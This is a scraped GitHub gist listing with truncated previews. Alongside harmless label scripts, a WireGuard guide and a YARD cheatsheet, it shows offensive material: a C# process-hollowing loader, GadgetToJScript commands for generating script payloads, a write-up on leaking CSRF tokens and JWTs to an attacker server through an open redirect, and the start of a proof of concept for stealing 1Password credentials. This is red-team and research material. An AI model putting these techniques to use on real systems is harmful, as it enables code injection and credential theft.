Skip to content

Instantly share code, notes, and snippets.

View KINGSABRI's full-sized avatar
♠️

KING SABRI KINGSABRI

♠️
View GitHub Profile
@AHilyard
AHilyard / import-github-labels.js
Created January 6, 2022 20:22
Import Github Labels via console commands
/*
This script will import Github labels from an array.
Optionally, existing labels can be removed prior to import.
Instructions:
Go to the labels page for the repo you'd like to import to (https://github.com/user/repo/labels)
Run the labels exporter script first, if you haven't. (https://gist.github.com/AHilyard/a5b9376d0326fd658a8064d5569791a4)
Modify this script by pasting your labels in where directed,
and optionally changing the "removeExisting" variable to true.
Press Enter
@AHilyard
AHilyard / export-github-labels.js
Last active April 19, 2023 12:56
Export Github Labels via console commands
/*
This script will export Github labels to an array.
This array can then be imported using the label importer script.
Instructions:
Go to the labels page for the repo you'd like to export from (https://github.com/user/repo/labels)
Paste this script in your console
Press Enter
Copy the resultant array into the importer script. (https://gist.github.com/AHilyard/5babebe06c30a48e07d949053e00bd5c)
*/
@med0x2e
med0x2e / process-hollowing.cs
Last active November 4, 2021 12:49
Process Hollowing (slightly updated to work with G2JS) - credits for the initial code go to @smgorelik and @ambray
using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Text;
namespace Hollowing
{
public class Loader
{
public static byte[] target_ = Encoding.ASCII.GetBytes("calc.exe");
# Command to generate HTA code using GadgetsToJScript
GadgetToJScript.exe -w hta
# Command to generate JS code using GadgetsToJScript
GadgetToJScript.exe -w js
# Command to generate VBS code using GadgetsToJScript
GadgetToJScript.exe -w vbs
# Command to generate VBA code using GadgetsToJScript

You do not need to run 80 reconnaissance tools to get access to user accounts

An open redirect was almost everything I needed in two different bug bounty programs to get access to user accounts. In one of the cases a JWT was leaked, and in the other the CSRF token was leaked. The issue was mostly the same in both cases: not validating, or URI encoding, user input in the client-side, and sending sensitive information to my server using an open redirect.

CSRF token bug

  1. There is an open redirect on https://example.com/redirect?url=https://myserver.com/attack.php
  2. User loads https://example.com/?code=VALUE
  3. Javascript code in https://example.com/ makes a GET request to https://example.com/verify/VALUE with a header x-csrf-token set to the CSRF token for the session of the user
    GET /verify/VALUE HTTP/1.1
    Host: example.com
    
@etiennetremel
etiennetremel / README.md
Last active May 8, 2024 19:57
Simple Wireguard setup as VPN server and multiple clients

Simple WireGuard configuration

1 server, 2 clients

Getting started

Install Wireguard on all machines.

Generate all keys

#include <Windows.h>
#include <cassert>
int
main(int argc, char **argv)
{
(void)argc;
(void)argv;
// التعليمات مولّدة من هذا الكود:
@phansch
phansch / yardoc_cheatsheet.md
Last active March 1, 2024 18:17 — forked from chetan/yardoc_cheatsheet.md
Improved YARD cheatsheet
@JoshCheek
JoshCheek / evolution
Created August 2, 2016 17:47
Terminal L-System in a tweet
Posted here https://twitter.com/josh_cheek/status/760519587758690304
Previously https://twitter.com/josh_cheek/status/667501443226558464
Based on http://algorithmicbotany.org/papers/abop/abop-ch1.pdf
ruby -e 's = "F-F-F-F"; 3.times { s = s.gsub /f/i, "F" => "FF-F-F-F-FF" };
dirs = [" \e[2D\e[A", " ", " \e[2D\e[B", " \e[4D"].map { |s| s * 2 }
print "\e[H\e[2J\e[60;20H\e[45m" # clear and "center"
s.each_char { |c| c == "F" ? print("\e[45m",dirs[0]) : c == "f" ? print("\e[49m", dirs[0]) : c == "-" ? dirs.rotate!(1) : c == "+" ? dirs.rotate!(-1) : :noop }
puts'
@claudijd
claudijd / steal_1password_creds.rb
Last active October 10, 2019 23:09
Steal 1Password credentials from browser auto-fill PoC
# Path setting slight of hand:
$: << File.expand_path("../../lib", __FILE__)
require 'packetfu'
require 'json'
capture_thread = Thread.new do
cap = PacketFu::Capture.new(:iface => 'lo0', :start => true)
cap.stream.each do |p|
pkt = PacketFu::Packet.parse p
if pkt.payload.include?("executeFillScript")